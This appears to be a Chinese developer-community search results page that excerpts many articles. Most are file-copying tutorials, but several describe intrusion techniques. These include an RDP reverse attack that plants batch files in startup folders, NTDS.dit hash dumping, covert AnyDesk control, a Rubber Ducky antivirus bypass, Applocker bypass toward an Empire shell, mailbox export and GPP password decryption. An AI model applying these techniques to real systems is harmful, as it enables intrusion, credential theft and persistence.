首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用Python批量复制源目录所有Excel文件复制到目标目录

他自己代码如下: import os import shutil import glob # 指定源目录和目标目录 source_dir = r"D:\设计类工作资料" target_dir =...r"D:\xx" #获取源目录所有Excel文件文件名 excel_files = glob.glob(os.path.join(source_dir, "*.xlsx")) # 目录所有...Excel文件复制到目标目录 for file in excel_files: shutil.copyfile(file, os.path.join(target_dir, file)) # 文件复制到目标目录...import shutil import os def copy_file(path): # (root,dirs,files)分别为:遍历文件夹,遍历文件夹所有文件夹,遍历文件夹所有文件...source_path = r'C:\Users\Desktop\test\收入确认表\sample' # 输出路径 target_path = r'C:\Users\Desktop

39520

如何使用PQ获取目录所有文件夹名(不含文件和子目录)

今天想把之前发布Power BI示例文件文件夹做一个表出来,只获取该目录所有文件夹名,并不包含其中各种文件和子目录。 ? 因为每个文件夹中都包含多个文件,甚至还有子文件夹: ?...所以如果直接用“从文件夹获取数据”方式,PowerQuery会使用Folder.Files函数: ? Folder.Files会将所选目录所有文件路径罗列出来: ?...当然,其实可以通过一系列pq操作文件夹名都筛选出来,实现我目的。 不过,这样其实有个小问题,如果有一些文件夹我还没有在里面保存文件,也就是空文件夹,那么它就不会出现在列表: ?...所以,我们Folder.Files替换成Folder.Contents: ? 这样我们就得到了根目录所有文件夹名,和文件名。尤其是,空文件夹这里也出现了。 接下来就是从列表只返回文件夹名。...再筛选TRUE行: ? 意思是查看属性,然后筛选那些是“目录行。 这样,就将该目录所有文件夹名获取到了。

6.8K20
您找到你想要的搜索结果了吗?
是的
没有找到

内网渗透|基于文件传输 RDP 反向攻击

其基本原理就是Windows 远程桌面客户端 mstsc 有一个盘符挂载选项,如果勾选了该选项,会开启磁盘共享功能,相当于将你磁盘再远程主机上共享,你可以通过类似于 SMB 文件传输命令那样位于远程主机上文件复制到客户端主机上...文件复制到连接远程主机本机# \\tsclient\盘符 如下图,我们使用 “tsclient” 列出了客户端主机上 C目录: image-20210712213922868 如下图所示,我们使用...“tsclient” 远程主机上 test.txt 成功复制到了客户端主机: image-20210712214851175 这种访问方式类似于使用 SMB 进行文件传输,虽然本质上都是 SMB...C:\temp >nul 2>&1# 将我们批处理文件 run.bat 拷贝到以上两个目录copy run.bat C:\temp >nul 2>&1copy run.bat \\tsclient...\c\temp >nul 2>&1# 确保在临时目录下不存在txt文件del /q %TEMP%\temp_00.txt >nul 2>&1# 在 RDP 客户主机以及被控远程主机上识别出所有系统启动目录

2.8K20

C#如何遍历某个文件夹所有文件和子文件夹(循环递归遍历多层),得到所有文件名,存储在数组列表

首先是有一个已知路径,现在要遍历该路径下所有文件文件夹,因此定义了一个列表,用于存放遍历到文件名。...递归遍历如下:已知路径和列表数组作为参数传递, public void Director(string dir,List list) { DirectoryInfo d...d.GetDirectories();//文件夹 foreach (FileInfo f in files) { list.Add(f.Name);//添加文件名到列表...} //获取子文件夹文件列表,递归遍历 foreach (DirectoryInfo dd in directs) {...Director(dd.FullName, list); } } 这样就得到了一个列表,其中存储了所有文件名,如果要对某一个文件进行操作,可以循环查找: foreach (string

13.7K40

PS常用命令之文件目录及内容操作

-Stream #参数用于从文件获取特定备用NTFS文件流,支持通配符。 使用星号*来获取所有流。 -Stream参数在文件夹上无效。它是一个动态参数,仅在文件系统驱动器起作用。...例如它可以文件复制到文件夹,但不能将文件复制到证书驱动器。...\" -Recurse # 3.远程文件复制到本地计算机 # 例如test.log从远程C:\MyRemoteData\复制到本地D:\MyLocalData文件夹原始文件未被删除。...# 4.递归地文件文件夹复制到当前文件夹 PS C:\temp\test> (Get-ChildItem C:\temp\tree -Recurse).FullName # C:\temp...\LineNumbers.txt -Stream addcontent PowerSheel PowerShell # 3.过滤器与通配符使用 # 值附加到当前目录文本文件,但根据文件名排除文件

8K20

导出域内用户hash几种方法

这些文件将被解压缩到当前工作目录或指定任何其他文件夹。 Import-Module ....然后,它远程执行复制命令,以便卷影副本NTDS.DIT文件解压缩到目标系统上另一个目录。...从Windows命令提示符执行以下操作创建C:驱动器快照,以便用户通常将无法访问文件将其复制到另一个位置(本地文件夹,网络文件夹或可移动介质)。...由于C:驱动器所有文件都已复制到另一个位置(HarddiskVolumeShadowCopy1),因此它们不会被操作系统直接使用,因此可以访问并复制到另一个位置。...该脚本所有信息写入项目名称下各种文件,当数据库文件NTDS解密完成后,将用户列表和密码哈希值导出到控制台中。该脚本提供有关域用户大量信息,如下所示。 ? 密码哈希将以下列格式显示。 ?

4.7K40

内网渗透横向移动之使用AnyDesk远程控制

使用一些提权powershell脚本脚本弹出了一个新cmd窗口,但是数据不通过cs,只能通过远程桌面操作,但是不能直接RDP 然后我们可以通过命令让目标下载anydesk powershell (...") 其实最好不要保存在c盘下,因为域用户没有足够权限,所以最好是找到域用户有写权限文件夹 可以看到我们已经文件下载了下来(由于是模拟环境就随便点,真实环境下别下载到桌面) ?...应用后彻底退出anydesk,退出时不选择安装 生成配置文件将会储存在 C:\Users\你用户名\AppData\Roaming\AnyDesk ?...然后四个文件保存下来,然后上传到目标的主机,上传完后把此处配置文件全部删除,目的是让anydesk生成一个新配置 由于我们还没有在目标主机打开过anydesk,所以要自己新建一个AnyDesk文件夹...>> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf 查看目标的ID type C:\Users\用户名\AppData\Roaming\AnyDesk

2.9K30

如何用橡皮鸭绕过杀软、渗透Win 7?

本文演示如何使用USB Rubber Ducky和unicorn攻击一台运行AVG2015杀毒软件并且补丁全部打上Windows 7电脑。本教程仅供学习,请勿用作非法用途。...8.“inject.bin”文件从你下载文件夹复制到Micro SD卡根目录 9.接下来我们用unicorn生成payload。从GitHub下载unicorn.py。...10.在浏览器菜单点击“文件”-“保存为”选项,页面保存到你文件系统,我把它放在了桌面一个叫USB_RD文件夹里。...这时两个文件都生成完毕, “powershell_attack.txt” 和“unicorn.rc”。powershell_attack.txt 命名为第四步你打算放在服务器上文件名。...打开新终端窗口,进入unicorn.rc 文件所在目录,然后启动metasploit: msfconsole -runicorn.rc 16.micro SD卡从攻击主机(Kali)拔出,然后插入到

1.5K70

内网学习笔记 | 4、域内信息收集

e filename.txt 指定要排除主机名文件 -o filename.txt 所有输出重定向到指定文件 -d domain 指定要提取主机列表域。...如果没有指定,则在Domain Admins组搜索 -c 对已找到共享目录/文件访问权限进行检查 -i interval 枚举主机之间等待秒数 -j jitter...PowerView 脚本 PowerView 脚本包含了一系列 powershell 脚本,信息收集相关脚本有 Invoke-StealthUserHunter、Invoke-UserHunter...等,要使用 PowerView 脚本需要将 PowerView 文件夹复制到 PowerShell Module 文件夹内, Module 文件夹路径可以通过在 PowerShell 输入$Env...:PSModulePath查看,我这里将其复制到C:\Program Files\WindowsPowerShell\Modules文件夹内。

3.4K20

解决Windows 11系统C盘爆满:Docker 桌面版日志文件疑难杂症

解决Windows 11系统C盘爆满:Docker 桌面版日志文件疑难杂症 在使用Windows系统时,C盘空间爆满是许多用户经常遇到问题。...特别是位于C:\Users\\AppData\Local\Docker目录日志文件,这些文件在不经意间会吞噬大量C盘空间。...只需以管理员身份执行下面的PowerShell脚本,即可轻松找出占用空间最大文件夹文件: Get-ChildItem -Directory | ForEach-Object { $folder...执行脚本:将上述脚本粘贴到PowerShell窗口中,按Enter执行。 分析结果:脚本执行完成后,会列出当前目录所有目录大小(以GB为单位),并按大小降序排列。...结语 通过上述方法,您不仅可以解决因Docker日志文件导致C盘空间爆满问题,还可以应用这一技巧,管理系统任何其他大文件文件夹。保持C清爽,让您Windows系统运行更加流畅!

41210

从远程桌面服务到获取Empire Shell

右键单击IE任意链接 ->目标另存为 ->在桌面上另存为lol.ps1 ? 点击IE查看下载,按下文件下拉列表,打开 -> 记事本。...只需在文件写入powershell.exe并再次保存。 现在,我们再次在IE右键单击 ->“目标另存为”。转到下拉菜单“保存类型”,然后选择“所有文件”。...C:\Windows\Tasks文件夹是一个绕过Applocker好地方,因为该目录通常被列为白名单。...但导航到文件夹也可能受到限制,因此在某些情况下你可能需要将其保存到C:\Users\Username\Desktop(桌面)。 ? 我还不确定如何在Applocked环境检查DLL规则。...现在,我们PowerShell提示符导航至桌面,并使用rundll32来执行dll。 rundll32 .

1.9K40

蓝屏、异常宕机.dmp文件、系统日志收集

把下面的目录文件复制到一个新建文件夹,然后对文件夹压缩,提供压缩包给售后 注意压缩成.7z格式 注意压缩成.7z格式 注意压缩成.7z格式 目录C:\Windows\System32\winevt...\Logs 目录C:\Windows\Logs\WindowsUpdate\ 目录C:\Windows\Logs\CBS\ 目录C:\Windows\Minidump\ 文件C:\Windows...会生成C:\Users\Administrator\Desktop\WindowsUpdate.log,如果没有生成,忽略即可 指定参数详细命令示例: Get-WindowsUpdateLog默认啥都不带...:C:\Windows\MEMORY.DMP 文件C:\Windows\Minidump\*.dmp 把这些目录文件复制到一个新建文件夹,然后对新建文件夹压缩,压缩成.7z格式(压缩率高,方便传输...也可以参考https://cloud.tencent.com/developer/article/1855877 用powershell脚本收集日志

2.1K40

CoreHook:基于.NET Core运行时实现Windows HOOK库

全局配置 要使用全局配置,请首先dotnet.runtimeconfig.json使用上述内容创建一个文件并将其保存到文件夹。这将是项目用于初始化目标进程运行时全局配置文件。...在此示例,我们文件保存在C:\CoreHook\dotnet.runtimeconfig.json。 x86和x64应用程序环境变量设置为运行时配置文件目录。...您可以使用download-deps脚本,该脚本最新二进制版本下载到deps项目根目录调用文件夹。...然后,corehook32.dll (X86, ARM)和/或corehook64.dll (X64, ARM64)二进制文件放在同一个输出目录。这些是使用上述示例所需所有文件。...然后,您可以将该文件夹复制到设备并启动该CoreHook.FileMonitor.exe程序。 发布脚本 PowerShell脚本publish.ps1允许您将示例发布为自包含可执行文件

1.6K20

备份和还原Windows DHCP服务

在本教程,您将学习如何使用DHCP控制台和PowerShell备份和还原Windows DHCP服务器。 您是否曾经经历过DHCP服务器崩溃或故障?在设备开始重新启动之前,一切都会平静。...您还可以计划任务以备份文件夹复制到另一个位置。 使用DHCP控制台手动进行DHCP备份 在此示例,我备份服务器DHCP1上DHCP配置。...在本教程稍后部分,我将把此备份恢复到服务器DHCP2。 步骤1:创建备份文件夹 我已经在服务器桌面上创建了一个名为DHCPBackup文件夹。...步骤2:打开DHCP管理控制台 步骤3:右键单击服务器,然后选择备份 选择在步骤1创建文件夹。在我情况下,这是桌面DHCPBackup文件夹。..." -Path "C:\DHCPBackup" 使用PowerShell还原DHCP服务器 步骤1:备份文件夹复制到正确路径 请记住,备份必须复制到C:Window\ssystem32\dhcp\backup

3.1K10

Exchange邮箱服务器后利用

导出所有用户所有邮件到 C:\users\public\ 目录下 Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest...0 筛选导出邮件 筛选出指定用户administrator包含pass邮件,保存到Exchange服务器c:\users\public\目录下 $User = "administrator"...导出所有用户邮件,保存到Exchange服务器c:\users\public\ 目录: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn...$User -FilePath ("\\localhost\c$\users\public\"+$User+".pst") 使用powershell脚本导出邮件 该powershell脚本作者:[3gstudent...*`" -EstimateResultOnly #枚举所有邮箱用户,导出包含关键词pass邮件至用户test文件夹out(不保存日志) Get-Mailbox|Search-Mailbox -SearchQuery

2.9K10

内网渗透 | 浅谈域渗透组策略及gpp运用

例如,你可以在链接到域 GPO 设置多个 Internet Explorer11 安全设置,然后所有这些设置应用到域中每台计算机。...0x1.2 SYSVOL 解决办法之一是为认证数据采取SYSVOL,SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本共享文件夹所有的认证用户都可以读取。...目录是AD域中一个共享文件夹,该文件夹在AD活动目录安装时候被创建。...Get-GPPPassword 加载该函数 这个powershell脚本会自动遍历SYSVOL下敏感文件,并且密码解密 3.针对性用户查找,这里我们可以使用powerview 这里我们以de1ctf...这里演示下如何使用New-GPOImmediateTask.ps1 1.导入powershell管理GPO模块&创建一个作用整个域GPO Import-Module GroupPolicy –verbose

2.6K20

浅谈域渗透组策略及gpp运用

例如,你可以在链接到域 GPO 设置多个 Internet Explorer11安全设置,然后所有这些设置应用到域中每台计算机。...SYSVOL 解决办法之一是为认证数据采取SYSVOL,SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本共享文件夹所有的认证用户都可以读取。...目录 SYSVOL目录是AD域中一个共享文件夹,该文件夹在AD活动目录安装时候被创建。...Get-GPPPassword 加载该函数 这个powershell脚本会自动遍历SYSVOL下敏感文件,并且密码解密 3.针对性用户查找,这里我们可以使用powerview 这里我们以de1ctf...这里演示下如何使用New-GPOIm/images/浅谈域渗透组策略及gpp运用teTask.ps1 1.导入powershell管理GPO模块&创建一个作用整个域GPO Import-Module

1.4K10
领券